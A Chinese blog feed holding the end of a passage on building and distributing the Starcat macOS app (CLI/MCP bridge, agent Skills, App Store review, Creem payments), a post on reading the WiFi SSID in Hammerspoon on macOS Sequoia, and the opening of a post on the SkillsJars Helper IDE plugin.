这部分没有急着开放，是因为 Agent 的完成条件比聊天更难判断。生成一段回答只需要检查引用，执行任务还要处理工具权限、中途失败、可重试步骤和写操作确认。等这些边界和真实场景验收完成以后，工作台才适合交给普通用户。

Xcode 工程之外

支撑项目

最开始我以为 Starcat 主要就是一个 Xcode 工程。做着做着，一些能力天然不能放进客户端。

Trending 没有稳定的官方 API，需要独立采集和缓存。Weekly 有自己的数据源和审核节奏。分享页要让没装 Starcat 的人也能打开。Direct 支付需要保存 provider API Key、接 webhook、维护 License，这些更不能塞进 App。

于是 supports/ 下面逐渐出现了一批独立仓库。官网、公开文档和 Homebrew tap 负责产品交付；CLI、MCP、Alfred、uTools、Raycast 和浏览器插件负责外部集成；本地化项目和 starcat-skill 处理多语言与 Agent 接入；公共 Go API 和 License API 承担服务端能力。

这些项目有各自的 remote、CI 和版本号，主仓只把对应目录当作工作区，不把它们强行塞进同一个 Git 历史。

用户自己的 Stars 从 GitHub 进入本机数据库。公共发现数据由 supports 服务采集后提供 DTO。Direct 支付则经过 License API 处理 checkout、webhook 和设备授权。三条数据流分开以后，哪一层可以看到什么数据也更清楚。

starcat-cli 与 MCP

App 之外很快又有了新的入口。终端需要查询 Stars，Alfred、uTools 和 Raycast 需要调用全局搜索，Codex、Claude Code 这类 Agent 还需要读取仓库上下文、标签和知识库。如果每个入口都直接读取 SQLite，再各自实现一遍权限、搜索和写入逻辑，维护成本会越来越高，本地数据也容易被绕过业务规则修改。

为此我做了 starcat-cli。它既是跨平台命令行客户端，也是面向 AI Agent 的 MCP bridge。CLI 不直接读取 Starcat 数据库，所有请求仍然交给 Starcat App 提供的 MCP Tools；权限检查、Pro 校验、审计和写入规则继续由 App 控制。

日常可以在终端里查询统计、搜索仓库、读取 README 和摘要，也可以让 Agent 通过 starcat mcp 使用同一组结构化工具。写操作默认 dry-run，只有明确传入 --apply 才会落库。这样接入 Alfred、uTools、Raycast 或新的 Agent 时，只需要适配输入和展示，不必再复制 Starcat 的业务逻辑。

浏览器插件

Starcat 解决的是 GitHub Stars 的整理问题，但平时发现项目的地方仍然是 GitHub 和 Google。浏览仓库时，如果想查看自己在 Starcat 里保存的笔记、Health、Wiki 和相似项目，每次都切回 App，操作很割裂。

于是我又做了 Chrome 插件和 Safari 插件。它们会在 GitHub 仓库页面展示相似仓库、Wiki、私有笔记以及 Starcat 已缓存的 Health 和 OpenSSF 数据，也可以直接触发 App 里的 CodeFlow、Codebase 操作。在 Google 搜索结果中，已经收藏的 GitHub 仓库会出现 Open in Starcat 和 Health 标记。

两个插件使用相同的功能边界，只访问 Starcat 在 127.0.0.1 上提供的本机接口，并通过 Local API Key 鉴权。插件不直接请求 GitHub API、Starcat 后端、OpenSSF 或 AI Provider，也不会持有 GitHub Token 和 AI Key。需要新增浏览器能力时，先扩展 App 的本机接口，再让 Chrome 和 Safari 同步接入，数据权限仍由 Starcat 统一处理。

这里也要区分开发完成和商店上架。两个插件的源码和本机接口联调已经完成，Chrome Web Store 与 Safari App Store 仍在准备隐私资料、审核素材和正式包，目前还不能从商店直接安装。

API 聚合

支撑项目变多以后，命令、部署和费用也跟着增加。

独立开发里很容易把注意力全放在“选哪台服务器”。我也参考过《独立开发者的穷鬼套餐》这类从域名、部署、数据库一路算到支付的成本清单。

具体的免费额度随时会变。Starcat 早期尽量选择可以从小规模开始的托管服务，把时间留给产品；涉及用户数据、License 和发版时，监控、备份和恢复仍然要保留。

Starcat 最初有 Trending、Weekly、Sharing、Wiki、Recommend 和 Discovery 六个业务 API，分别部署在 Fly.io。单个服务的配置都不高，但六套 Machine、Volume 和部署流程累积起来，每个月仍然接近 20 美元。

当时比较了三种方案。继续独立部署改动最少，但解决不了常驻实例和多套运维流程的成本；把仓库与部署全部合并最省事，却会破坏各个 API 原有的开源、自托管和独立发布边界。最后决定保留业务仓库，只合并生产部署。

六个 API 分别导出统一的 server 包，再由 starcat-api 装配到同一个 Go 进程。路径冲突通过 X-SC-Svc 请求头分流，鉴权、CORS、GitHub 接口和环境变量处理收敛到公开的 starcat-api-kit。各个服务继续使用独立的 SQLite 文件，只是共用一个 Volume；License API 涉及支付和用户权益，仍然独立部署。

这套聚合已经完成代码、Fly Machine、Volume、Secrets、首轮迁库和只读业务验证，但生产切流还没有发生。验证结束后，聚合服务重新进入维护状态，六个旧 API 仍在生产写入。计划在 1.4.0 切换前完成最终数据同步、写入冻结和全链路验收。技术方案跑通了，不代表生产迁移已经结束。

Makefile Explorer

Starcat 有 App Store 和 Direct 两套运行、构建与打包入口，还有后端启动、Fly.io 状态检查、官网、本地化和 Homebrew 等操作。我把常用命令逐渐收进 Makefile，希望不再记脚本路径和参数。

过了一段时间，Makefile 本身又变成了问题。target 太多，新开的项目还有嵌套 Makefile。每次都要打开文件搜索，或者先运行 make help，找到以后再回终端执行。

于是我做了 Makefile Explorer。它会把工作区里的 Makefile 和 targets 放进 VS Code 的树形面板，双击可以执行，右键能复制命令、带参数运行或跳到定义。插件也已经放到 VS Code Marketplace。

这个插件不是 Starcat 的功能，也不是什么宏大的开发者工具计划。就是我每天操作 Makefile 时觉得麻烦，顺手把麻烦做成了一个可以复用的东西。

Skill 沉淀

Makefile 把常用命令集中到了一起，解决了命令难找、脚本路径记不住的问题。但它只能告诉我有哪些命令，不能告诉 AI 在什么情况下应该使用哪一个，执行前需要检查什么，操作会修改哪些外部状态，失败后又该怎样恢复。

例如发布 Starcat，App Store 和 Direct 使用的是两套不同流程。App Store 需要生成并检查 archive，Direct 还要处理签名、公证、DMG、Sparkle、官网和 Homebrew。Agent 如果只看到几个相似的 Makefile target，很容易选错命令，或者把生成安装包误认为已经完成发布。

所以我开始把这些需要判断、确认和恢复的操作整理成 Skill。Makefile 继续负责执行命令，Skill 负责说明使用场景、前置检查、操作顺序和安全边界。

现在仓库里有一批 Starcat 自己的 Skills：

starcat-release 区分 App Store、Direct 和基础内测发布。
starcat-supports-ops 处理后端服务、Fly secrets、健康检查、备份与恢复。
starcat-backend-release 管理多个独立 API 仓库的 PR、tag 和部署边界。
starcat-localization-sync 固化 String Catalog、XCLoc、翻译审核和 18 种语言的同步过程。
starcat-public-site-and-promo 处理官网、Changelog 和多个公开仓库的推广内容。
starcat-weekly-import 要求先识别官方仓库、展示候选、等待确认，再写入生产数据。

双渠道发版

拿 starcat-release 来说，它不会只告诉 Agent 执行哪个 shell。它先判断要走 App Store 还是 Direct，再检查分支、dirty worktree、tag 和签名条件，说明会产生哪些外部影响，然后停下来等确认。发生一半失败时，也要知道哪些步骤可以安全重跑。

两条正式路径不能混用。App Store 通过 make package-appstore 生成并检查 archive，确认 Bundle ID、Sandbox、签名和构建内容，再由 Xcode Organizer 完成 Validate 与上传；生成 archive 不能写成已经发布。Direct 则要走 Developer ID 签名、公证、staple、Gatekeeper、DMG、Sparkle appcast、官网和 Homebrew。脚本负责执行步骤，Skill 负责选择入口、检查前提和保留失败后的恢复方法。

本地化同步

Starcat 扩展到 18 种语言以后，本地化也不再是把中文交给 AI 翻译一遍。运行时的单一来源是 Localizable.xcstrings，公开协作使用 Xcode 导出的 XCLoc。新增文案以后，要先同步 key 和 source，再生成翻译初稿，处理占位符、代码、URL 和其他不能改动的字面量，最后导回 App。

项目把本地化分成四个状态：AI 初稿、翻译批准、导入 Catalog 和正式发布。AI 生成完成只能进入 needs-review-translation，不能直接算成已经支持该语言。即使维护者接受 AI 翻译风险，编译、界面截断和 Arabic RTL 仍要单独验收。

这些步骤后来写进 starcat-localization-sync。它会先审计 Catalog 和公开翻译包，区分这次要改 XCLoc、主 Catalog、locales.json 还是 AppLocale，能 dry-run 的操作先 dry-run。这样“18 种语言已经有翻译”和“18 种语言已经可以发布”不会被写成同一个状态。

Weekly 情报入库

Weekly 的 AI 情报最初来自新闻摘要、文章和项目清单，很多内容只有产品名，没有 GitHub 地址。手动录入时，需要逐条搜索发布方、确认官方仓库、检查 canonical 地址，再排除 fork、镜像、模型权重页和同名的第三方实现。

仓库确认以后，还要整理 owner/repo、批内去重、生成导入 JSON、检查 Weekly 当前允许人工写入的来源，先做 dry-run，再带管理员权限提交。接口返回 202 Accepted 时任务刚刚入队，还要继续查询批次状态，直到 success、partial_success 或 failed。这套流程重复而且容易漏步骤。

为了减少这些手工操作，我把它整理成了 starcat-weekly-import Skill。Agent 收到一批新闻后，先提取已有链接，再联网搜索缺失地址；核验完成后把项目分成「已确认」「待确认」和「未找到」，展示最终列表并等待确认。用户确认以后，Skill 才会执行 dry-run、读取受控的管理员配置、整批提交并轮询结果。

有一批 AI 情报中出现了 ReDesign、Kimi K3、OpenAI Astra 等项目。核验后发现 sonjt00/ReDesign 已重定向到 jintae-00/ReDesign；MoonshotAI/kimi-code 实际是 Kimi Code CLI，不能当成 Kimi K3；Astra 等项目没有对应的官方 GitHub 仓库，也没有用第三方实现代替。最终展示并确认了 14 个仓库，dry-run 通过后写入 ai_intelligence，批次轮询结果为 14/14 成功，0 重复、0 剔除。

一开始，我把 Skill 理解成一份可以重复使用的 Prompt。真正用到发版、本地化和 Weekly 导入以后，我发现它更像一份给 AI 执行的 SOP。它会先判断当前任务属于哪种场景，再找到需要读取的文档和脚本，检查执行条件，等待必要的人工确认，最后完成操作和结果验证。

Skill 不代替脚本，也不负责实现业务逻辑。脚本负责执行具体命令，项目文档解释设计和约束，Skill 则把两者串成一套 AI 可以重复执行的流程。

后来我开始关注 Claude Code Dynamic Workflows 这类做法。文章里的思路很实用：编排逻辑变复杂以后，把它写成能落盘、能修改、能重跑的代码，不要继续藏在一次聊天里。

Starcat 目前只把发版、本地化和 Weekly 导入这类步骤多、风险高的流程固定下来。第一次跑通以后，我会把其中的检查条件、操作步骤和验证方法写进 Skill 或代码。下次再处理同类任务时，AI 可以按照已有流程执行，不需要重新从聊天记录里整理一遍。普通的小任务没有必要做成复杂的 Workflow。

App Store 上架

代码、测试和打包流程准备好以后，Starcat 还不能直接提交 App Store。开发者账号注册、App Store Connect 配置、审核、备案和付费协议都要逐项完成，其中很多问题无法通过修改代码解决。

开发者账号注册

申请 Apple Developer Program 个人开发者账号时，我在 Apple Developer App 的注册过程中更换了设备。此后注册状态无法继续，同一份个人信息也不能再用于其他 Apple ID 重新申请。

我联系 Apple Developer 技术支持沟通了很多天，问题经过多次转交，仍然无法重置原来的注册状态，也无法重新使用我的个人信息完成申请。Apple 的注册说明要求整个注册流程使用同一台设备。我遇到的情况和《注册苹果个人开发者账号，千万别换设备！！！》记录的问题基本一致。

最后，我重新注册了一个 Apple ID，使用妻子的个人信息申请 Apple Developer Program，才完成开发者账号注册。

第一次审核被拒

Starcat 要读取用户自己的 GitHub Stars，登录是主路径。最早使用 GitHub Device Flow，用户点击以后直接打开默认浏览器，再回到 App 等待授权。

我从开发者角度看，这很正常。OAuth 本来就要去 GitHub，浏览器也是用户熟悉的环境。

第一次审核时，登录流程因为缺少必要提示被拒。用户点击登录后，App 会直接打开浏览器，但界面没有提前说明接下来会发生什么。按照审核要求，应用需要先告知用户将前往 GitHub 完成授权，确认后才能打开浏览器。

最后 App Store 构建的主登录改成了 ASWebAuthenticationSession。它会先显示系统确认界面，告诉用户 App 要与哪个域名进行认证，用户同意后才进入浏览器，完成后回调只交给发起认证的 App。Apple 对这个行为有明确说明。

Starcat 现在把 Web Flow + PKCE 作为默认登录。App Store 构建只保留这条系统认证路径；Device Flow 和 PAT 作为 Direct 版的备选方式。UI 隐藏还不够，Service 层也有渠道门禁，防止 App Store 包从别的入口启动外部登录流程。

App Store 后台

登录修完以后，还有 App Store Connect。

Starcat Pro 有月付、年付和终身三个 IAP。第一次提交时，每个商品都要填写本地化、价格、审核备注和截图，还要关联到具体的 App 版本。

这里很容易被本地测试误导。Xcode 可以读取 Products.storekit，所以商品还没有在 App Store Connect 配好时，本地 Pro 页面也可能正常显示。TestFlight 不读取这份文件，它只使用 App Store Connect 的 sandbox 商品。商品元数据没有补齐、没有关联当前 App 版本，或者 Paid Apps Agreement、税务和银行信息还没生效，TestFlight 里都可能只显示「订阅商品不可用」。

排查这类问题时，先看 App Store Connect 的商品状态和协议，不要看到本地 StoreKit 正常就继续改客户端代码。第一次提交 IAP 还要把商品挂到版本页面，和 App 一起送审；只创建 Product ID 不够。

《过来人给独立开发者的建议（7）——收款篇》把 App Store 收款前的几件事按顺序列了出来：付费协议、税务信息、银行账户，以及符合条件时申请 Small Business Program。

App 准备在中国大陆区上架时，需要提前检查备案要求。手机 App 有单独的 App 备案流程；Starcat 是 macOS App，而且没有使用国内服务器，我当时并不确定这种情况是否必须办理 App 备案，也不确定公钥和证书指纹是不是必交材料。

为了避免提交以后再补材料，我先后办了网站备案和 App 备案，Bundle ID、公钥、证书指纹等能够准备的内容也一次性提交了。公钥和指纹的处理参考了《iOS APP 备案那些事：分析如何通过证书文件获取公钥和指纹》，可以从 App Store Connect、macOS 钥匙串或者证书文件中取得。

如果准备开发应用并上架 App Store，最好提前检查开发者主体、销售地区、网站备案、App 备案和可能需要的资质材料。中国大陆和欧盟还有各自的合规要求，欧盟销售范围需要同时处理 DSA 交易商信息。这些审核都需要时间，不要等到版本提交前再开始办理。

提交审核前，还需要在 App Store Connect 中补全隐私标签、支持页面、隐私政策和 Review Notes。Review Notes 是写给审核人员看的，需要说明如何登录、从哪里进入 Pro 功能、应用为什么访问网络，以及 App Store 版本不包含外部购买入口，方便审核人员按照实际路径检查应用。

Direct 分发

为什么保留 Direct

Starcat 完成 App Store 版本以后，发布和收款已经可以正常进行。如果只是把应用卖出去，做到这里就够了。

我继续做了 Direct 版本，因为我想借着 Starcat 把独立开发者出海的完整链路亲自走一遍：搭建官网，签名和公证安装包，通过 DMG 与 Homebrew 分发，对接海外支付，处理 webhook、退款和 License，再用 Sparkle 完成应用更新。这些事情由 App Store 代为处理时，开发者很难接触到完整过程。

因此 Starcat 最终保留了两套分发渠道：

维度	App Store	Direct
Bundle ID	`com.starcat.app.store`	`com.starcat.app.direct`
分发	Mac App Store	官网 DMG / Homebrew Cask
支付	StoreKit 2 / Apple IAP	Hosted checkout / License Key
更新	App Store	Sparkle appcast
签名	Apple Distribution	Developer ID + notarization
Pro 权益	StoreKit entitlement	Direct License entitlement

双渠道隔离

构建隔离

App Store 和 Direct 版本包含的分发能力不同。App Store 版本使用 StoreKit，不能包含官网支付、License 激活和 Sparkle；Direct 版本使用官网支付、License 和 Sparkle，不需要加载 StoreKit 商品。

这些差异需要同时落实到 UI、Service、配置和打包产物中，不能只隐藏购买按钮。

权益统一

两个版本的付费方式不同，解锁后的业务功能相同。AI、RAG、标签数量和 Release 订阅统一通过 EntitlementGate 查询用户权益，不直接依赖 StoreKit、Creem 或具体的 License 服务。

以后更换支付平台时，只需要调整支付和权益层，不需要逐个修改业务页面。

应用身份隔离

两个版本使用不同的 Bundle ID，Keychain access group、URL Scheme、签名、entitlements、自动更新和调试配置都要分别维护。

如果用户在同一台 Mac 上同时安装两个版本，数据库目录、通知标识和 deep link 也要相互隔离，避免两个版本读写同一份数据或者唤起错误的应用。

Stripe 的门槛

现在做产品出海，很多人会优先考虑 Stripe。它的 API、文档和支付生态已经非常成熟，SaaS、订阅服务和数字产品都能找到现成的接入方案。独立开发者也经常选择 Stripe 旗下的 Lemon Squeezy，由平台作为 Merchant of Record 处理全球收款、销售税和合规。

我一开始也考虑过这两种方案。真正挡住我的不是支付接口，而是商家资格。Stripe 的全球可用地区目前没有中国大陆，国内个人开发者无法直接使用大陆身份和银行账户开通 Payments。要使用 Stripe，通常需要先准备香港、美国或其他受支持地区的公司主体和银行账户。

Lemon Squeezy 在 2024 年被 Stripe 收购。它简化了税务和合规，但仍然需要审核商店和结算资格。它当前支持的银行结算地区同样没有中国大陆，实际使用时还要另外处理 PayPal 或境外银行账户。

Stripe Atlas 可以协助注册美国公司，但注册公司只是开始，后面还有银行开户、税务申报和公司维护。Starcat 当时还在验证阶段，我不想为了接入支付，先增加一套需要长期维护的境外公司体系。

如果选择美国公司这条路线，需要先注册公司、申请 EIN，准备海外手机号和地址，然后申请银行账户并完成 Stripe 开户。这篇实操记录整理了从注册公司到最终收款的完整步骤，也提到了公司成立后的维护费用。

另一篇全球收款记录采用香港 Stripe 和香港银行账户。流程比注册美国公司短一些，但仍然需要准备符合注册地区要求的身份材料和结算账户。

也有开发者使用个人 Stripe 接收订阅付款。VidPilot 的订阅复盘使用 Stripe Checkout 和 webhook 完成订阅功能，同时准备了香港银行账户用于结算。支付接口本身不难接入，前提是先解决 Stripe 账号和结算账户。

这些方案都可以完成收款，但 Starcat 当时还在验证产品阶段。我不想先注册境外公司或者办理香港银行账户，因此没有选择 Stripe。

选择 Creem

Stripe 和 Lemon Squeezy 都需要先解决商户主体或境外结算账户，我只能继续寻找对国内个人开发者更友好的支付平台。

我申请时，Creem 允许中国大陆用户注册商户，也支持通过支付宝接收结算款，不需要先注册境外公司或者办理香港银行账户。Creem 成立时间较晚，当时针对商户地区和结算方式的限制相对少一些，更适合 Starcat 这个还在验证阶段的产品。

Creem 采用 Merchant of Record 模式，由平台处理收款、销售税、退款和拒付。它还提供 License 的 activate、validate 和 deactivate 接口，能够直接接入桌面软件的 License 流程。

确定使用 Creem 后，我参考了一篇从创建产品、商户审核到接通 webhook 的完整记录。Creem 在审核商户时会检查产品介绍、价格、官网、隐私政策和退款政策，这些内容需要在提交申请前准备好。

国内个人开发者还要处理结算。这篇接入记录介绍了商户申请、身份验证和支付宝结算的配置过程。相比先注册境外公司、申请银行账户再接 Stripe，这条路线更适合 Starcat 当时的情况。

支付代码接入以后，Starcat 已经可以创建 Creem Checkout、打开 Customer Portal，并通过 webhook 处理购买、退款和订阅状态变化。License API 负责激活和验证 License，客户端根据服务端返回的状态更新 Pro 权益。

目前这些代码和自动化测试已经完成，真实商品、API Key、webhook secret，以及购买、退款、取消订阅和多设备激活流程还需要在 Creem 环境中完成联调。只有整条链路跑通以后，Direct 版本的付费功能才算真正完成。

支付后的链路

Direct 版本的支付链路统一经过 starcat-license-api。客户端只传 monthly、yearly 或 lifetime 这类稳定 plan alias，真实 product id 留在服务端配置。支付平台的 API Key 也不会进 App。

Hosted checkout 完成后，成功页用 deep link 把 License Key 带回 Starcat。客户端不相信 URL 里的套餐和状态，还会调用 License API 激活，以服务端返回的权益快照为准。

App 重启时先从 Keychain 恢复本地凭据，再按间隔静默 validate。网络超时或服务临时 5xx 时，已有 Pro 不会立即消失；只有服务端明确返回 expired、revoked 或 inactive 才撤权。这里必须区分「暂时无法确认」和「已经确认失效」。

麻烦在浏览器关掉、deep link 没回来、退款、取消订阅和争议。客户端成功页不能成为事实来源，最终状态还得靠 webhook。

Webhook 需要验签和幂等。付款成功建立 License 与 customer 的映射；退款、过期和争议撤销权益；scheduled cancel 先保留到当前周期结束。设备额度、解绑、Customer Portal 和客服流程也都在这条链路里。

一位工具站开发者对一年收款经历的复盘记录了迁移支付网关、账户风控、3DS、欺诈预警、扣款通知、争议处理和发票。这些问题会在开始收款以后逐渐出现。Starcat 第一版不需要照抄整套运营规则，但 webhook、退款撤权、订阅到期和客服可追溯性要提前留好位置。

提现与结算

用户完成付款后，资金会先进入 Creem 账户。要把这笔钱转回国内，还需要配置 payout account，并实际验证提现、到账和换汇流程。支付接口接通和资金完成结算是两条不同的链路。

Starcat 准备验证的结算路线是 Creem → Wise → 支付宝。我参考了这套方案的掘金实操记录和作者独立站整理版。具体操作是在 Wise 中取得收款账户信息，将其配置到 Creem 的 payout account，Creem 完成打款后，再通过 Wise 转到支付宝。

这条路线还需要检查账户姓名、支持币种、提现门槛、手续费和到账时间，平台政策变化后也可能需要重新调整。Starcat 目前完成了 Checkout、webhook 和 License 的代码，Creem → Wise → 支付宝的真实资金结算还需要单独验证。实际款项到达国内账户以后，Direct 版本的海外收款流程才算完整。

项目沉淀

Starcat 从需求整理、技术选型和界面开发，一直走到 App Store 上架、Direct 分发与海外支付。完成这次从 0 到 1 的开发以后，项目中留下了可以继续复用的开发经验、文档流程、配套工具和 Skills。

macOS 开发经验

Starcat 使用 SwiftUI 开发主要界面，并在窗口管理、菜单、快捷键、WebView 和焦点处理等场景中接入 AppKit。项目还实际处理了 Keychain、App Sandbox、签名、公证和 Sparkle 自动更新。

本地优先架构带来了 SQLite 数据迁移、缓存更新、CloudKit 同步、用户数据保护和 RAG 索引维护等问题。App Store 与 Direct 双渠道又涉及 StoreKit、License、Bundle ID 隔离和不同的签名流程。这些实现和排查记录可以继续用于后续的 macOS 项目。

文档与开发流程

大需求进入开发前，先整理需求并完成讨论，再依次形成正式方案、详细设计、开发 Checklist、审查报告和验收记录。每个阶段的文档都保存在项目中，并跟随代码一起更新。

CLAUDE.md 和 AGENTS.md 为不同 AI 工具提供项目入口，记录修改授权、数据库迁移、发布操作和验收边界。DESIGN.md 统一界面与交互规则，模块设计文档保存具体方案，测试规范和发版 SOP 负责约束执行过程。

这套结构可以直接用于后续的大需求。规模较小的需求只保留必要文档，避免为了流程增加额外维护工作。

配套项目与工具

Starcat 的开发范围逐渐扩展到主应用之外。starcat-cli 和 MCP 为终端及 AI Agent 提供操作入口，Chrome 与 Safari 插件负责从网页收集项目。多个独立 API 后来合并到 starcat-api，公共的鉴权、CORS 和 GitHub 接口被提取到 starcat-api-kit。

Makefile 中的 targets 增加以后，项目又开发了 Makefile Explorer，用于在 VS Code 中查看和执行 Makefile 命令。多个 Agent 在同一工作区修改文件时，AI File Wall 会登记文件占用状态，并提示可能发生的编辑冲突。

这些工具最初都用于解决 Starcat 开发中的具体问题，后续也可以独立用于其他项目。

Skills 与自动化

发版、本地化和 Weekly 导入包含固定的检查、确认和验证步骤。项目将这些流程整理成 starcat-release、starcat-localization-sync 和 starcat-weekly-import 等 Skills。

Skill 会先读取项目文档，检查分支、配置和当前状态，再调用对应脚本。发布、上传和生产数据写入必须等待人工确认。执行结束后还要检查结果，并说明失败后哪些步骤可以安全重跑。

脚本负责执行命令，项目文档保存设计与约束，Skill 把两者组织成 AI 可以重复执行的流程。换用不同的 Agent 处理同类任务时，仍然会经过相同的检查和确认步骤。

后续复用

Starcat 已经形成了一套原生 macOS 应用的开发基础，其中包括需求文档、UI 规范、测试规则、数据迁移、发版流程、配套工具和 Skills。后续开发新的 Mac 应用时，可以从这些内容开始，再根据产品规模进行调整。

这次开发也确定了 AI 在项目中的分工。产品方向、需求取舍和最终验收由人完成，AI 参与方案整理、代码实现、问题排查和文档维护，测试、脚本与人工检查共同验证交付结果。

找回你的 Stars

如果 Stars 不多，而且平时会回 GitHub 翻，原版页面通常已经够用。多装一个工具反而增加负担。

如果你的 Stars 已经很多，经常只记得使用场景，却想不起仓库名；或者希望给真正重要的项目补标签、笔记，再用带引用的问答重新找回它们，可以试试 Starcat。

它不会替你把两千个 Stars 自动整理成一套完美知识库。我的做法还是很朴素：先把 Stars 同步到本机，需要长期保留的再手动入库。搜索尽量走本地，AI 回答附上材料来源，修改用户数据前要确认。

这正是我自己想用的工具。

Hammerspoon 里用 WiFi SSID 做判断的折腾记录

Fri, 29 May 2026 00:00:00 GMT

背景

其实需求很简单，就是想在 hammerspoon 里加个功能：当我连着公司的 iHome WiFi 时，鼠标高亮用 home.png；到了别的地方换成 work.png。WiFi 名大概长这样：ihome.6500.5g、ihome.ax9000.5g 这种。

踩坑过程

第一次尝试：hs.wifi.currentNetwork()

想着这不是很简单嘛，搜了一下官方文档，直接调 hs.wifi.currentNetwork() 不就行了：

	local ssid = hs.wifi.currentNetwork()
	print("当前 WiFi ssid:", ssid)

结果一跑，nil，啥也没打印出来。加点打印确认一下：

当前 WiFi ssid:    nil

行吧，这条路走不通。

尝试 airport 命令

Mac 上传统获取 WiFi 信息的方式是 airport 命令：

/usr/local/bin/airport -I
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport

报错了：no such file or directory。

查了一下，原来 macOS 新版（Sequoia）把这个 airport 二进制文件移除了。

尝试 networksetup

既然 airport 没了，试一下 networksetup：

networksetup -getairportnetwork en0

结果：

You are not associated with an AirPort network.

有意思，终端也拿不到 WiFi 信息。说明这事儿不是 hammerspoon 的问题，是系统层面就拿不到。

尝试 system_profiler

system_profiler SPAirPortDataType

这个倒是能跑，但是输出里的 SSID 是这样的：

"_name" : "<redacted>",

好家伙，给我 redacted 了。

查文档、搜 GitHub

各种搜索尝试，看了 hammerspoon 的 GitHub issues、知乎博客、CSDN 文章… 发现一个问题：大家都在用 hs.wifi.currentNetwork()，但没人提到在新版 macOS 上会返回 nil。

然后突然想到一个关键点：定位权限。

新版 macOS 对 WiFi 信息做了隐私保护，需要定位服务权限才能读取。也许 hammerspoon 虽然不需要定位功能本身，但它需要这个权限才能访问 WiFi 信息。

解决方案

在系统设置里开了 Hammerspoon 的定位服务权限。然后在配置里加了一段启用定位服务的代码：

if hs.location.servicesEnabled() then
    hs.location.start()

    hs.timer.doAfter(2, function()
        local location = hs.location.get()
        if location then
            print("Latitude: " .. (location.latitude or "N/A"))
            print("Longitude: " .. (location.longitude or "N/A"))
        end
        hs.location.stop()
    end)
else
    print("Location services are not enabled.")
end

reload 配置之后(会自动弹出申请定位权限的确认框)，再试 hs.wifi.currentNetwork()，终于拿到 WiFi 名了：ihome.6500.5g。

最终代码

既然能拿到 SSID 了，剩下的就简单了：

local ssid = hs.wifi.currentNetwork()
if ssid and string.sub(ssid, 1, 5) == "ihome" then
    imagePath = hs.configdir .. "/private/home.png"
else
    imagePath = hs.configdir .. "/private/work.png"
end

前缀匹配搞定。

总结

新版 macOS (Sequoia) 对 WiFi 信息做了隐私保护，hs.wifi.currentNetwork() 需要定位权限才能正常返回结果。开启 Hammerspoon 的定位服务权限就好了。

说起来这个问题其实挺好排查的，当初应该先看看系统设置里的权限，而不是在那各种命令行工具来回试。airport 被移除这件事倒是没想到，印象里这玩意儿一直在的，居然也进了苹果的废弃名单。

配置要点：

系统设置 → 隐私与安全性 → 定位服务 → Hammerspoon → 开启

打造 SkillsJars Helper：让 AI Agent Skill 在 IDE 中可视化分发与管理的 IDEA 插件

Thu, 28 May 2026 00:00:00 GMT

一份文档, 两类读者

我维护 Zeka Stack 这套开源框架已经几年了, 它做的事情和大部分公司里的 Spring Boot 脚手架差不多 —— 一堆 cubo-*-spring-boot-starter, 每个 Starter 提供自动配置、统一的异常 / 响应 / 日志 / 配置语义, 让业务项目少写样板代码、多走规范轨道。

过去几年, 我一直把这件事看成”给开发者写文档”。Starter 写完之后, 配套一份 README.md、几个示例工程、一份 docs/ 目录, 同事或开源用户引入 starter, 翻一翻文档, 就能上手。

但去年开始, 我越来越清楚地意识到一件事: 文档的读者变了。过去文档只给开发者看, 现在 AI 也是一种用户 —— 而且会是越来越主要的那种。当业务项目里的同事让 Cursor / Claude Code 写一段 REST Controller 的时候, AI 不会去翻我的 README, 也不知道我这个 starter 自动装了哪些 Bean, 不知道哪些 Bean 可以覆盖、哪些不应该绕过, 不知道同组件下 Servlet starter 和 Reactive starter 应该怎么选。

它会写得很快, 也会快速地偏离我设计的工程轨道。

这就引出一个矛盾: 我精心维护的工程规范, 在 AI 时代变成了一种”AI 看不见的资产”。如果不解决这个问题, 框架的价值会越来越薄 —— 反正 AI 都不读, 你的最佳实践写得再好也没人执行。

我在 Zeka Stack 3.0: AI Native 工程平台定位升级那篇里聊过这个判断, 在让 Spring Boot Starter 天然支持 AI 那篇里聊过具体接入 SkillsJars 的过程。SkillsJars Helper 这个 IDEA 插件, 就是这条链路最后一步的产物。

一个固执观点, 终于站住了

文档应该跟着代码走 —— 意思是文档应该放在项目里, 和代码一起进行版本迭代, 而不是单独放在公司的 WIKI 知识库或者别的什么专门管理 md 文件的库里。

这个观点本身不算新, 业界叫 “Docs as Code”, 至少有十几年的历史了。它的反对面是 WIKI 派 —— 把 Confluence 当唯一真理源, 文档归文档, 代码归代码, 各走各的版本线。两边各有信徒, 这场争论从来没在公司层面分出过胜负。

我个人一直固执地站在 “Docs as Code” 这边。哪怕进的公司 Confluence 文化再浓, 我也尽量把规则、约定、设计取舍写进 README.md / docs/ / CHANGELOG.md, 让文档跟代码同库 commit、同 PR review、同版本号发布。我的理由很朴素: 跨系统的东西容易腐烂, 离开了代码上下文, 文档就会被人忘记 —— 当初写得再认真, 也只是另一个迟早过期的存档。

过去十几年, 这个观点我没真正说服过谁。大部分人听完笑笑就过去了, 一边继续在 Confluence 上堆页面, 一边继续抱怨”文档总是过时”。两个动作之间的因果关系, 没人想认。

直到 AI 进入开发流程, 这件事突然站住了脚。

原因很直接: AI 是非常不可靠的 doc reader。它不会主动跨系统去找文档, 它能读到的只有 IDE 上下文里直接可见的文件。README.md / SKILL.md / docs/ 是它的天然食谱; Confluence 页面对它来说几乎不存在 —— 理论上能搭 MCP 接进来, 但权限、认证、网络可达性、内网穿透这一连串问题, 大部分团队根本没本钱搞定, 短期内也搞不定。所以文档放在哪, 决定了 AI 能不能看见; AI 看不见的文档, 在 AI 时代就跟没写一样。

这是过去十几年没人能给我提供的论据。它不是道理上的, 是物理上的 —— 不放在代码旁边的文档, AI 真的读不到, 没有商量余地。“Docs as Code” 不再是一种偏好, 而是一种必须。

SkillsJars 这件事打动我的, 不是它技术上做了什么花样, 而是它把这个观点彻底物理化了。把 SKILL.md 跟 jar 绑成一个 artifact, 一起进 Maven Central, 一起被依赖解析, 一起按 semver 升降版本。文档想跟代码分家都做不到, 它在打包阶段就被钉死在一起了。这种”不允许分离”的设计约束, 比任何”我们规定文档必须跟代码同库”的团队公约都管用。

SkillsJars 解决了什么, 它不解决什么

为了说清楚 SkillsJars Helper 在做什么, 先得说清楚 SkillsJars 这个上游项目本身在做什么。

